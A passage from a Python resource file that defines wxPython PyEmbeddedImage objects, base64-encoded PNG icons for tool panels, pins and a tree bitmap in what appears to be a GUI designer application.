\"Bf7Y2MfLrktBiEZKBsbGkwyd6Vi0T1tHHuju8hEClIwDfDuk3zh7rv+TYrEYSICBgYH2b74b\"\n \"eO7vUW7/OwNaQxTB8MUs9xsXL7UTmTiAH8DYOBNjN/oOW2OdVimstRIQQ6cHtl4f1QfHxsHR\"\n \"cPNWomyXHPEFp7I8eDR9q1SCySl17MTJx7YAQsg4pdavqb+//yGgzVrr9K27/kynV9194FOB\"\n \"UiqtlEplMpmatZZKpZKOoqgWRVFCCPFLT0/P7mw2OyOECKSUtZGRkeIicAO+wlqbsNY6xBeU\"\n \"LJVK7aVS6e1qtQqA67p4nncim82eASIhRCgEwZUrv95cyPoP7sJ02sxdq5AAAAAASUVORK5C\"\n \"YII=\")\n\n#----------------------------------------------------------------------\nToolPanel_Controls = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAACXBIWXMAAA6cAAAOxAF19oSB\"\n \"AAAAB3RJTUUH1wcFDyACNseopgAAA5BJREFUaN7tl09MHFUcxz87DsIMbJa5kE22GvGwrkCv\"\n \"KKYlJsDGsIg3wlKSPah3TuVgPRA4UJWsWq81sZqIVBorWBtqICkHAyvWCHKwuIdaDhyWrOyy\"\n \"3Z3uzs9DLSnL8kdamiGZT/KymZlfXr7f9/v99r0HDg4ODg4OxxhX8YvRsW9F13VbilVVFV3X\"\n \"eL359JZu9dGAH69PSVPTK5SpZYhNV3zyh2vbTT36cC+bRVXLuJ/P27ZkpGhl1VIRllg2NiB7\"\n \"GxAE7Ksf2M+AgPUYHfD91av8dusWemUl6dQG7517n/6zZ/nwoxG+vPQFBavA2++8+4TklzQg\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"B0fTNXp7e7fNGAw+yELZsypnes/sIuVwD<KEY>\"\n \"YLuBHafRS199LffzecSy33FOLVN58YXnaT59ymXfFXY4Zuyopdgvv8rfd1dtKbaiopz2N4Ku\"\n \"XQ38vvSHpDZSnGyos6WBbDbHz3Mx3nqzvfSV8s6duzSfasLtdtvSgNvtRtMqtr0rOszZ9Sa8\"\n \"O8pBglKpFNPT0weacGJiYsdueZSou32Ym5tjZmaGlpYWfD4fo6OjLCwsEAqFqKurIx6PMz4+\"\n \"Tk1NDZFIhFgsxuzsLPPz84RCIZaXl5mcnKSjo4P6+vqn42by2nXZ2NgQEZFEIiGmaUpXV5es\"\n \"rq5Ke3u7ZDIZCYfDYpqmdHd3y+bmpiQSCcnlctLT0yOZTEYaGxslm81KJBLZ+n2STP00Lftm\"\n \"wDRN+vv7qa2tZWVlBcuyCAQCaJqGpmmk02m8Xi+6rqPrOuvr63i9XjRNw+/3k06nicfjRKNR\"\n \"/H4/IoLL5Xp6JVQoFEgmkyiKgqI8aJNYLMbg4CA+nw/DMDAMg4GBATweD319feTzeYaGhlhc\"\n \"XMQwDFpbW8nn81RVVR2Z+D1LyK4Ul5DCMWebgfLycnI509aCiy9bO4rzyncTUlVVaUvxhUIB\"\n \"j8fDa682OvcBBwcHBwcA/gWitAOivrbnzAAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nToolPanel_Default = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAABmJLR0QA/wD/AP+gvaeTAAAM\"\n \"nklEQVR42u2Ze4xc1X3HP+ece+/c2dnd2dm3bbAx5mlswMFOCI0hdUuI1FapmlZCav8h6SOq\"\n \"WqmK+ohQm0r9I1QKJWlKURqpiVpKE6DUEGD9wBjbLMbEGNtgGxvvrr3e58zsY2Z2dmbu45zT\"\n \"P/Yu2bg2sSGof9Q/6ejO/WPu/X7P+f6eF67YFbtiV+yK/X828TE9T1zCs22yWHL9PyOwCFie\"\n \"t8QHgDfnLfthiIhfIPAU4ABNQEfyO7vkHXNACdBADETJCpP7+MMQEb8A4G4C+ubJgd2vCgHS\"\n \"8wiDiDCo8/p/PU6jEdPd7qE1jBXn+ON/+PE3gJ1AMSFWS4hEl0tE/AKA/0ph6JUnpZL4mRYQ\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"P4OxlvFzZ5nNT/LKM09SDqL3/+gpSXOzR64lw7Wf+ixS/TT2RGFEc7aTpqZmcrk24uIw00NH\"\n \"cURAcTpgfLrMlx969m+AfmAqkVYtIRImQWCRyEUJCEAlkeWXCsN7dziuh+s2Yaxluljg3OBJ\"\n \"Xtn6DI1Q4zoLCMMoxgqBEILWtEdXe4ZVGzejHBchBMaC1THGaOIwJJNpJdPaRi7XjporUDxz\"\n \"HBHNMTMfMnB2ij/99gt/DewFZpNVAxrJiRjAXoyAC9w1dXbPHgCZSiFVM8X8KCODp+h/9jlC\"\n \"a1BKIIwgshprwVoLFoQUNKUdsuk0q+/cjKNc9FQeffpdapPnqHg+rWvX43f1YKIGLS1t5Hp6\"\n \"6Vm+BjMzwsTJN7GmzuDEDFOzAX/2yIt/lfjIDFBJSMSAURcAL4EvjZzc/kyjHhBEAYXJCYrF\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>oQ7pnD+Kl07TnO1ASqjX55gtT1KtVwAwOsK/agM33PV5lq2+nmh2nLETb2DCkDtu\"\n \"7GH/8YnnhBBVIcSItTYEqolDX1RCIonz6/JDO/b5fgbHSSEwGB1hjGXVNSu57rY7UC0dnDhe\"\n \"ZnBYU5m3KGWwpkGjUWa+PkOtXqIzGqCBi8USR2XmqkUmy5M46Qydn7iXdV/8A6664QZEaZLS\"\n \"6NvE5Qkc26DFd8j4KT5xfe/GvUdHTgEz1tp5IURgra0nUrLnE/CTU1k/Nbz7dS/l4jgppALl\"\n \"+QuyMxptDHFYo6v3am7/5C1cv7rC8pZpitOW+UBhCYmiORqNKk2pBvX5CvVGmUZ9FusYujbc\"\n \"wy1f/ENWrl1HPDtKafgoYX0KpUOsCSCOwUBL1seXLptu6t20680zo8A4MG+tXcwN+nwC8v77\"\n \"<KEY>\"\n \"IurTdORaWb95C7f/<KEY>wBbYhDcFKS1lwrbZ7L+tWdm3Ye\"\n \"HBTW2ncTH4iAWJwnnTuO/eT5g9esWo50XUxcX2ClQCon0WyM0aDjCB3HGGvQkcFxPFLpDJGO\"\n \"OfjqHt49PMTuQ2VW5KbZ8pnb2XjvfVg8CmeOYeJZnLhBHMVIqxEmJo41WIPRAYQao0A5DtJJ\"\n \"Yxyf6ZFzDI7N8NXv7NgFfM1aOwmUzyeQBR54+h+/8si1167hls/ch5KSWIeYKPhpMS8kcVzH\"\n \"xCwQ0NH77iSUIt3cxuxMmbf372LTlt+io72V4RP7qc2XicN5olhDHEEQgF54rtZmYfcBYTVG\"\n \"OCgPqoUye48O0wg1Dz/R/0NgmzHmJDAJlMQFSocmoA3Y/NwPHnziuuXdrPnkFqS01GtzWBsv\"\n \"nEQMFos2MdYYMIpYRzhuGmMMI2+9zMv97/Clv/hbfGWZOnuIOAgxcQOtQxqNCB2GGKNRYoFE\"\n \"rB1MFKGFpDxe4PXjI2AF3/zRa9uttf3W2mljzHBSK+WBirhAEnOT2qcD6AXu3vpPf/KNmzdu\"\n \"YsWa9RhrqddKCBv/TBCLdYBUaXQUUDy6m5cPDrP517/A6KF9/Orv/RGukoydfB0dzGMkhI2A\"\n \"<KEY>tKWidFJXntrmNgVfP+5w3uBA8aYEpA3xhQT4MXF8lt9QK8aJdVg6cltP8nf\"\n \"tcrdXClMkG5ycNNZhPIIgoWMbgEhJUG9xuSh59n/5gB33nkr3ctWMfTO6xQGB7hx46dpae+m\"\n \"NHkWdIyIInQcMDVToVYLmRif4o0jA8xW6sw3Ir7/wlGEEE8ZYwrW2glr7Vgim6mkCWoAsbxI\"\n \"r7oIvgwMAMG169biyzoHtm/l+L6d5E8ewXM8pJsmjjSN+Rpjrz3Lzv7TrFqeQ8oI31e4ymFm\"\n \"eoK+f3kYIX1WrtsMcYySMUE9YqYwS/9bpzg5nKentYVl3a2s7M0ipdwNaGtt2Vo7nsimkJTZ\"\n \"ix2clh/QcC+SqAIVhUEIwbVrVuDGU4y/9ybHD+xiZuAdgkbEqV1b2X9sgg03LqezqxllDQ4C\"\n \"RwmEgFK1TN/3vo3X1MbKDVuYmyqz89XDHBucpLO5iY6WJrSw2NgyUaySlM0NIUQ1KeJmEyw/\"\n \"<KEY>0Ivx1sQar3sVeG04TVla29pxw1mOvNbPsVd/zL7DQ6xa1kZTswNIYiSx46IcB1dJ\"\n \"<KEY>\"\n \"I6zF8TII5aCas+igBnMlVq6EWEdsuet6/KZmTFRbiAZuChMblADPdYgMiMhSi8o89dhDNDua\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"32jxU2S6l4HfTFArYaIIwoXSw0iwsWHl+ns4tee/mZnNY0ODNYLQGIxeyLheU5bW9nbeGzjH\"\n \"ntMR27ZteyyKojFjzLS1tpCEzXzixIv1z4cisJjgMkCnkrIDIb5+4KkH71PKx2vNIVIZGvUy\"\n \"WI21ljg2rLxhE6f3bmV2Ko8WAAYTAG6abHcPJ0+d5ZX3Qvr6+v7ZGDOptS4BpSRxFYHpJb1w\"\n \"eCEZXc5cSC0ZrWSAdiVlm8XufeOpr6McD68li2jKMj9fJQpCrrn+Nk7t20plukAUamxTC9mO\"\n \"HoYGh9n+dpUdO3Y8GkXRuLW2Yq0tWWtriWRKyZpPQnl0Iflc7mRu6ZjFS1q7NNCmlOo0xuze\"\n \"/8TXEFZhc904fjPLV6zm1L4XqVRLyHSW4cExdr1XZ9u2bd+Jomgi0XbZWltJdnrRaeeXxPv4\"\n \"YuA/6mjRWTwRIUTGcZw2oNPo+KWnv/VlfL+FtZ/9TcaPH+D40WO8cKRCX1/f30dRNJMkpBJQ\"\n \"EUKUEgKLwC8U7z/yaPEDJ3ZKqbS11lNKNVlrW4wxPcaYr+74wYP37TtwjG89vusva7Xaoo4r\"\n \"ySol12oik/qSHbcXC5sfx3hdAtJ13ZQxxrXWetbaNNBqrc0k/pL0ozSSXa4k19rlDnM/rg8c\"\n \"Sz9oLEorlQD3k3uSE2gkux1+FOAf5yempT6yuBYTpj7PMT808Ct2xa7Ygv0PzFW8GpCLx+gA\"\n \"AAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nToolPanel_Gizmos = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAACXBIWXMAAC4jAAAuIwF4pT92\"\n \"AAAAB3RJTUUH1wcLFzgWXOxheQAACbJJREFUaN7t2VvIZtddx/HvWmufnr2fw3vMnDqTmRzM\"\n \"ZGYEkUBFQ0ARVPBAKHrRGy9KL6xNtK1KqqAoHrAiaYPFGMQDVsSLWgtiDaaVWEGkmdKE2saM\"\n \"k5nYTGbmnff4nPZhrfX/e/EQ8DbvOzzxIn/Yd8+C34f/3mvt/37gvXqvjlTmKIv/9Nm/KF7+\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>4Ed++sULP3z2sWvfvE610ked0qtyNBqMsZhUMSIEIhKFMDVQdYQY6Pf7nPue\"\n \"e3nj6zdDe9ldfPrpZ147CiB5pwt++alf+q6b/vpjONi4bwMvLb1jjrSCJLeEHShPFCSFo21a\"\n \"QhOQfUd1epU717Y5deIE4xtTVs+UyfVvbT8JfPQoAPtOF7zyyisXhhsDsixh0K9o7ngGvRGT\"\n \"7Zrxdk099ozvTDm4PaGdd7TTQONbdq8eYJoMR4JVi04t/eO9n/nn5/8pXWoHqmF5NobAbLsm\"\n \"tobJVs21b7yFw2LTgImCG4PNHIoQglD0MmY3WzZPbLB/fUpeJkRR8uNm8/Nf+sL7gX9bWgeM\"\n \"JcuqlHwlIx0ZTCIkFVAJwUZi4vEaCEmHuEg6hM62gLB6vMLlSt5PQWC0McAnzY8ttQPz+XxH\"\n \"4ggVhaiAI3jFoCiCREOcCEWREjshBEUaxWlODIKI0rYRiYqI0j+WPnoUwDvuwGxab7dzj3oh\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"8e0aP4s084A2EANohK72JAk0ex0mWEIj5HmJBJAgmM4x2W1p9wUN4KPHVVxYMiC+WDc1aVVg\"\n \"jOLnim8ieIt24DTBiiM2kISM+qCj249oUJraYzMhH0C1mtHOW9KevbRUwKmTZ/5l58YeooJN\"\n \"ISkMJolkA4vJFZsrXj3RNKT9lLRymEIpVnLER1QFFV1sxWKwmR19+o8+faid6FCAP/uTP391\"\n \"sjV706rgfSCEgFEIXrDOEHzEZko9CwyHIyQoMSqqiwsxqIKIkGYZvUHO1Wv/9fDSAADR8/z8\"\n \"oGXvzQnTOzV7b8yY3KoRlK4ViiqhO/BkWUoza2lnnvm0o5l52ibQtREVxdc1Rdljb2//7FIB\"\n \"iU2/dOfGHnmRc/LSOqce2SDrp+xem6AqCFBWJUWZkWYJeZGQOEfeT7EkIJa2DszrGusc49n+\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"+G30/<KEY>DGKS22NyQ2hxrUpCAwYAqFoN4JbaRMAdjhKiCy2AwHK4tHSASTlvb\"\n \"J82hmdQUvQKZgXaOalgx3ZqjIhg1JDaiURAU44BEManBeMEYh8Ecaj4/0i1kc3tq8/QKapVq\"\n \"rUcbOmaThlkzpSgzVAWXJITOgwWTOVyWkGYpzaSDKKgscofgw9IBWZE+OOj3wUbECyvvK+nf\"\n \"k5H3UtJsMerGGGin3WJrjYuLxBC7SIygalARfBsOlg4I0Z/0UUmzDJdZ1AJiiSESW6GrAxIW\"\n \"70l+FnHO4lIDKCoGVQMqiCpdK8sFfOaZp51JOSbBMxxVoAZjlSR3uCQhSRwuMbSNx/vAdL+h\"\n \"m3cYNRi3QKC6mBmawGx3dnOpAJfY40lprQQlLwpiK1hjURbzsbGWYlBQjgpGG31C1yKizPbm\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"Q3avj8lMhrWWnVt74d5T931+6YC6qaWaGWxqEQMPPHwf5T05e3HC2rmK6UENY8fm/SP8vuCT\"\n \"<KEY>\"\n \"<KEY>tK0mSfPWyGIwFUwuvzeYtLDf3NnKyXIEHIsoRqs6AbB4TA\"\n \"1vU9wliZbXUMNkvy9ZwgQuoS5jvNS4//5Af+4V0BfP/3vf/b0inFKAc1+BhJnKOee6QF6ZR8\"\n \"mNA7YQhFTXUyZbbfEJrI9GbH9o098TN98qd+/HF9VwCffOrXb4aJvKZGCW0k+AheKUrH3htj\"\n \"+psF21cmdLXQ1RGXJnSTwM6VMdPdCX6bz/zd33zh348S/kgAgOnW7I/rg4aujpTDjNl+g6ow\"\n \"326InZAWKdvfnLL77Zrp6zWTWw3ttGXvav3VR7/30aeOGv7IgIfuv/jsnasHr4VWwFgmuzWz\"\n \"vZZilPHm13aRqDSzDnXKfF6z8509tr81+Y9zxy/+xIc//HPd3QAc6X9igJ/90IceaNPxv568\"\n \"tHGiKBJ8F8nzDEWoxx3lao56uPbym+Rd+ZeXHn7kI5/42C/M70b4uwIA+MSvfPzs1etX/nB0\"\n \"uny8v9Y33nvSNCFKYL7bMt1qXy5t/1c/91ef+8e7FfyuAt6ujz7x8+dfvfrqY84l54u8iNPZ\"\n \"5H/uP/3Ai88999wrdzv4e/X/pf4XB3h4NJVf36kAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nToolPanel_Menus = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAACXBIWXMAAA6cAAAOxAF19oSB\"\n \"AAAAB3RJTUUH1wcFDx8Yk3t74AAABbZJREFUaN7tmM9vE+kZxz8z9oxnxjHeJE6cFJJNSTZG\"\n \"hCK12hVBFNREQliCvSAOiDNVL6jNsf9BDxx65MSBU6hU5AuCSEFq6UoFyRACFcUWoZtkjddW\"\n \"mjixEzyx533fHkzYZUXAAueXmq80mtHMq+d5v+/zfZ7nfQd2sYv/b2jvelkqldR2nXAoFHpr\"\n \"zv53DTIMg+LyK/7yzXNWCaD7/A1wrYjaHl8f6W0ooXfOTClFqVzlm5cGfstp3Oopl9NfyY0n\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>2GkG8RUEoRDocZGxvj4MGDjI2N8eLFC65evUoikaBcLjM6\"\n \"OkoikUAIQSKRoK+vrz4CmqahlEJIgZA1x5OzJTwhWXxVJWBoSCn5V6aElIrnuRXKFYFbETSZ\"\n \"Gp/ZPoQUKCVRsrYAa9ePCZw4cQKA1tZWisUiSikGBwdRSnH48GFs2yYQCDA3N0cul2NxcbH+\"\n \"JEaBFAqE5PvFVeaKFRZWqnzeavHdgsuXP9/DakWQ/HYJT0gefLtEvljhy549/HNqkfYmA8On\"\n \"8XmrRWbBfZ0DCvk6p7q6uohGowwPD5NKpejv72d8fBzTNBkeHgZgaGiI7u5u7ty5QzweZ35+\"\n \"vr4+UC6X1Wy+wO9H/4NmWA1LuBbD5c/nv/gkG9Fo9MN94AcJSTTZuKqxJqFN6QNNhuJPp5p4\"\n \"WSij+82PdhC2fQT9kvb2dgAqlcrm9AHTNJkuVPnr8yC6z1hHbB9Gq1bkD7+J0NzczEbgvXuE\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>aMdKG9165L42C+6ibSVUbrxUcY1FJ2f/QzU\"\n \"q62RUNAyOfXV3k92MjU1tUVVaAegrtP6w4cPefDgAfl8npGREZ49e0YsFmNpaYlCoUAkEiGX\"\n \"y9Hb28vk5CRTU1MEg0EuXLiw4QT090nox7AsC8dxuHHjBtlslitXrnDt2jV0Xefy5cvous7o\"\n \"6ChDQ0McOXIEn8+3KRGoW0LBYJBwOMzKygqapnH8+HEcx+HQoUN0dXUxMDCA53k8fvyYZDLJ\"\n \"2bNnt47ATyPQ09PDsWPHaGtr4/z58yilCAaDxONxNE0jHo/j9/s5efIky8vLBAIBksnkphBY\"\n \"90RWKpUAaGtra0gV6ujoaMiEf/pnbsdXobqTeEcR2EmoS0Lz8/PMzMyQyWQ+aPDJkydcv36d\"\n \"bDa7KQT89Uhoenqau3fvkkqlGBkZIZlMcuDAAbLZLJ7n4XkeSin6+voYGBggn89z69YtLl68\"\n \"uD0iALBv3z6OHj3KzZs3qVQq3L59m3Q6zenTp0mn05w5c4b79+9j2zadnZ0IIbZXDjiOw+Tk\"\n \"JLFYDKj9NfP7/ViWRVNTE4FAAIDx8XHu3btHJBLZFAK7fWBbVqGdhHWrkGma5HI5FhYWPtmJ\"\n \"4zgbRuCdWnFdV1Wr1W254nXlwC52sYudg/8BPBDU8FaMEoEAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nToolPanel_Panels = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAACXBIWXMAAA6cAAAOxAF19oSB\"\n \"AAAAB3RJTUUH1wcFEDkIWmgM7QAAA6pJREFUaN7tmU1IKl0Yx/9qZgaihhgVtOh7UQpC0ibU\"\n \"jbRoGbRwI1EERQYRtH3fhYvAWhUERdDC3OTaTVAuYmhhaItaCC1skdGgMTPYMI1z7srheq3u\"\n \"LebN8b3+YRjOB8z5zXPOc87zHKCppv5uaX6tODo6+qfOYzo3m83ey8vLqkqz2Qy/33/ucrnO\"\n \"PwRIp9PE6XTWbfTRaBRDQ0MYGBiAKIqQJAmSJIFhGKRSKQQCgaoxa9U2JR4fHzE6OgqNpvrf\"\n \"<KEY>m/<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"V1dX5XYlAJLJpOyBCCEghEAUReTz+a8B6PV66HQ6SJKE/v5+UBQFv98PjuNq2pWQ3++vcqGi\"\n \"KKJUKuHi4uLP14DJZILP58P09DS0Wi1MJhO8Xi+Wl5dRLBYRiURA03RNe92VTqdJPbW1tUUk\"\n \"SSKCIBCe50mpVCIMw5B8Pk/i8ThpiH3gM2p4ANVuZIVCATRNy2WbzdZYAJIkoVwugxDyoXdT\"\n \"LYDdbofdbpdd6fPzc2MB0DSt7BTiOA6pVAoej+dbADo6OmCxWKo2sk8BsCyLRCKBXC6H8fFx\"\n \"uFwulMtl1VlK+xFANBpFKBTC7u4uWJbF2dlZ4wAAgMPhQGtrK6xWq2LnnG8FaASpLqjf3t6G\"\n \"w+GQ/X/lLYoicrkcVlZWNF/yQt+prq4utLS01MTAPM///6ZQE6AJ0ARoAtRX7+4DPM9jYWEB\"\n \"w8PD8Hg8cDqd2Nvbw+3tLZaWlnBwcFCV8FIyoaUIgEajgdFoRFtbG8bGxiAIAoxGI+x2OxKJ\"\n \"BIDqhJfqAAAgHA7j5uYG+/v7yOfzmJubw/39PSiKAqB8Qquih4eHqqNEJTP39PT0OYBYLIZy\"\n \"uYz5+XmwLItYLIaRkRF4vV5wHPefJbR8Pp8cSlYenuffjEfeBTAYDAiFQnLZarViY2Ojpl8l\"\n \"g9f0Qr8om82ip6cH7e3tWF9fbzyAwcFBxONxzM7OYnNz82uLuN6amJiA2+2W7wcIIeq3QGdn\"\n \"J66vr2vqeZ6HIAi/t0Amk/k3k8nUk+E8l8t5T05Oqv545Z5YzTOmqYbUD2LQSUJ+JkydAAAA\"\n \"AElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\nToolPanel_Sizers = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAACXBIWXMAAAsTAAALEwEAmpwY\"\n \"AAAAB3RJTUUH1wcFEQkvIeblQgAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAAAmElEQVRo3u2XQQ6AIAwEWcP/v1wvHghRAtIUMTNX47aDFjElAAAAGMb+0LyL\"\n \"hDqq2US46hy9eAxq9Jn71uyhlNS+dpcjJTNLKu8dzSk4wt+fq1EznzEIF/AGAQQQ2JzwD9ls\"\n \"DgD8bIjjT6PD3X/sNOoNAqvJodWkzQXqIW5tAp3SfQKtEK09psRuowwxAgggUMMvJQAAbM0J\"\n \"LEI1OD2LmAsAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nToolPanel_Windows = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAACXBIWXMAAA6cAAAOxAF19oSB\"\n \"<KEY>\"\n \"CDYj3VTaXQq1FItm3X2xKLhz4S4QUPwfTApCoJB2pyhoi00TPyijSEM+pNHY4kyuIcy993y4\"\n \"uB9J0EkmM4sYOD+4zJ1zfrznfc77njMwYGVlta0lGjENDl02W5HchfM/bZhfZr3Jm7dumyuj\"\n \"48x2n9qS3f3mR2XOfvcZX574QjQFcGV0nB2Ffl5WXje8aK0yT7v26s7rXCcq29mQb0ehn7ND\"\n \"V5urwODQZfNP17csvIqS9/99hBDOWz5pBNn9h9Ne1EsvcQ/21V1w4e87fHS0m/lnjfnyfacY\"\n \"PNFr6rXTuhVQWhOEEoC+D17RvqsTIRwcx4k/BY+fTjFd+xjHjUI5gJSSQ/tyHNqbS2OVny9T\"\n \"nl+OY6oIPvYBlOeX17wnPqV182fAaINWUYCvjn9KT28PruPiZlwymQyu6/LrjbtMPdGATgEC\"\n \"KendsxOpVBqrd89OHsx5GGPS8UBKQim5dPIA1//6j++P7ebiL9MEUqY+0xIABm2iAEIIHMfB\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"8O7XcqX/a2QJZifqejv2HcSrVsg06DMtAUgfXfM29esZAB0fHqk7v+RVgVrDPpRsDqCjLcvn\"\n \"uVlKBcnm9X/9qf2b8/k1nzayzVXgh9NfEwQBW6nFxUXGxsaau0a3gyyABbAAFsACWAALYAEs\"\n \"gAWwABbAAlgAC7BNte7fKr7v43nelibo+35zAMVikeHh4fdil4vF4nZvFCsrq3p6A8PNt8Q7\"\n \"ja/MAAAAAElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\nToolPin = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAACXBIWXMAAAsTAAALEwEAmpwY\"\n \"AAAAB3RJTUUH1wcJAQIldDfJXwAAAvhJREFUSMftlVtIk2EYx//f9n1z0+k23fSbm5pFB6Uj\"\n \"qWGZqIQJ2QGKCIJuiq6qu4qIIKKiu7roRoKuCgoNQxMPLQLNWWlqqeWpppMv59zZHb99h66C\"\n \"itycIt30v3xf/s/v+T88Ly/wL8W2Pd7Ff2ovFB0TkuXWIBa74Hq71nuvnx+ThyyEtLggLG4/\"\n \"Msjq15iVufmvCW3eK0kaHVoRgB8e0AW6W8Z5W5c6lXQBMjXEBRt4kgMKa72iStuUtLn6MZJp\"\n \"k0Sl5xMGAIAw821dwGF7Ev0+VgT7JGSeESgEF0SvFfDPgVXQkBRUWiT5ZbeoHfseEcm5kYQA\"\n \"AOCdHDJKJ8yf5X4mlXd+AEuqADcDGecDJQYguO0Q/AR4Y8k3Ymf5ZXnN1YaEAAAwef9SndL5\"\n \"5ayUNgJyCghOQ4y6wBI0+AgHBTcLWO3gHIC/+PixDRfvPPvpJZcCsMm07GDXDEprjNCSgJLU\"\n \"gVJngwy5kFRQCXs4DRLt6IJ3ZKAzxbixP+EE1o6HL4bfmw94PG6IiIKdZVCYrQZtzJzSVZy8\"\n \"Nw/tc1KeZjVsLBT/9MZNwHwwZc321pcXHz4IadCBQDiI+bk5OC3TXkn65tq8bbUjsfwxE/AB\"\n \"9w73YHszNdNm8LAColwUmVsrwKtohMPiTf2WI9fiNfjXBExPx1puqPFB4GOjkXcxBhkBRHkB\"\n \"HmYa6ap+eB0eGGqvzC9lvH8F+Jmxc5nseFVoPAjCUIS5KR8WuDAiwSjCAR9S0rWwW8a+LBug\"\n \"M+bXJaXXWJQyxf4ombLVPf89p8/8FUeraaQKs5AqsyAa6FMAXsYDxN0i0TeaMfGus37C1LGn\"\n \"qlhOURQIAlIEI6Tg9GUdWnPmdkvCCX7rIG2TMy/XUKJRq1oGbrRe4G0jVQIzdNrR/WYvqc1Z\"\n \"0juKqabmp5syMjRCb49J8+u5x9ywXbQOUSsGKJVKV9nuotEVF1pMGo06YmqtP7Fcf8yfSqFQ\"\n \"vC0tLXJlG/KaVqV7vT7r7tRkn2zVxvNfAPADQ+E0joDDAqQAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nToolPinDown = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAACXBIWXMAAAsTAAALEwEAmpwY\"\n \"AAAAB3RJTUUH1wcJARYBZpr62wAAAsxJREFUSMftkltIUwEch39nO2dOnW7q1KObt6LUYaak\"\n \"RmWiEiZkJRS9BL0UPVVvFRFBREWPPfQSQU8JhYahSWqLQHOS5iV13nM6OTp339zmPDuXXktT\"\n \"tgx6qN/j/+H7+OAP/N+/Oba94SA/0qET7TOSnbKIjQeuv3uP5+7VKfmaiZCW5gfFovphNi3b\"\n \"oMjM+Uiosz5I4um1HQn4saFkf0/bNG/pVsWRTkCmgrhqAU9ygK7OIyrVLVEFNQ2IofUSZRof\"\n \"sQAAhMW53X675WVoaaoE1lnI3EZEC06IHjPgWwEbTUOSX2WS5JQ/oIqPvSBiMtcjEgCAZ3ZU\"\n \"K50xjMt9TBzvGABLKgEXAxnnBSX6IbisEHwEeG3ZHHGg4qa89nZTRAIAmH1y46nCMXFZSmsB\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"tdiucbMCQlwIKYWV4JU0gkHxftq++jvhwDcVML2du7jR5mf+r81a3sloZAQQ4gW4mQUkKgfh\"\n \"sbuhqbtlCxe+SeBjpq6ksNPVa9MBEJoSrMx7scoFsR4IIej3IjZRDatpauK3BcnanKdRibUm\"\n \"hSz6eIiMLXTZljK+GL7hTA2NOGEZUkUqRA19AcD7cAVbfpHonUya+dzVOKPvPFJdKqcoCgQB\"\n \"KQLrpODwpp7KvvSwLeKCn8zxeY6sTE1ZgkrZNnTv3TXeYqwWmNGL9p5PR0l1BhkOfNu1tL7K\"\n \"S0pKEPp79Qk/3t2GpiLRPErtWAAA5YdLJv8I6K9tfKQvZqeM79ccK3IFJvEiAAAAAElFTkSu\"\n \"QmCC\")\n\n#----------------------------------------------------------------------\nTreeBitmap = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAAA4AAAASCAYAAABrXO8xAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDhwKdc1BSQAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"<KEY>\"\n \"<KEY>\"\n \"qr7zHTOVTamiAIgqiqIqPF3GWAwGawwAfhmKKgQp+OrmWfpZn6zISFxC6lOiRN7f+h5rG2sB\"\n \"V4LL0Ex/mtOTZ/hox4e0a61STCJBAlnIuHDrW0ZWr2fPhrdxxmNFlSw85PTkGT7bfZjnG8+R\"\n \"upTEJiQuwVtPxVf4YNs+phdnuP7nDUQjVjTy9c1zfLLzYyq+QmITKm6A1KU443DWYY3FGssb\"\n \"46/z0+1rKIoFyIqM5qrm489bvHVY4zCPjfhvDdWHuD13pwRDDIgKokLUSC/vEaRAVFDVlYMy\"\n \"1hqlM9cpQW8dUUsjFpcWudz5kQfZA6JEugtdpnvTKyIoSyEvxyGqRIkAqCpRI1e6V2k+8yy9\"\n \"rE+73qYx0CCqMNubY2RofdlRUQopKGKBotQqNTa2xzHGUh+o0661CBKIErk7f5eta7ZgDYa9\"\n 